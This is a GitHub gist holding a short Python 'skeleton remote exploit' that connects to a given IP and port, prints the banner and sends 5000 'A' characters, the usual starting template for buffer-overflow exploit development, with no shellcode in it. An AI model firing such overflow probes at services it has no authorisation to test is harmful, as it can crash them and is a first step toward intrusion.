Created
December 12, 2023 15:08
-
-
Save sirrushoo/0ef58de31f4b627d954802ef8e7c2aee to your computer and use it in GitHub Desktop.
Skeleton Remote Exploit --Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
import sys | |
import socket | |
def exploit(target, port): | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
s.connect((target, port)) | |
data=s.recv(1024) | |
print(data) | |
junk="A" * 5000 | |
s.send(junk) | |
s.close() | |
if __name__ == "__main__": | |
if len(sys.argv) != 3: | |
print("[!] usage %s ip port" % sys.argv[0]) | |
sys.exit(-1) | |
exploit(sys.argv[1], int(sys.argv[2])) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment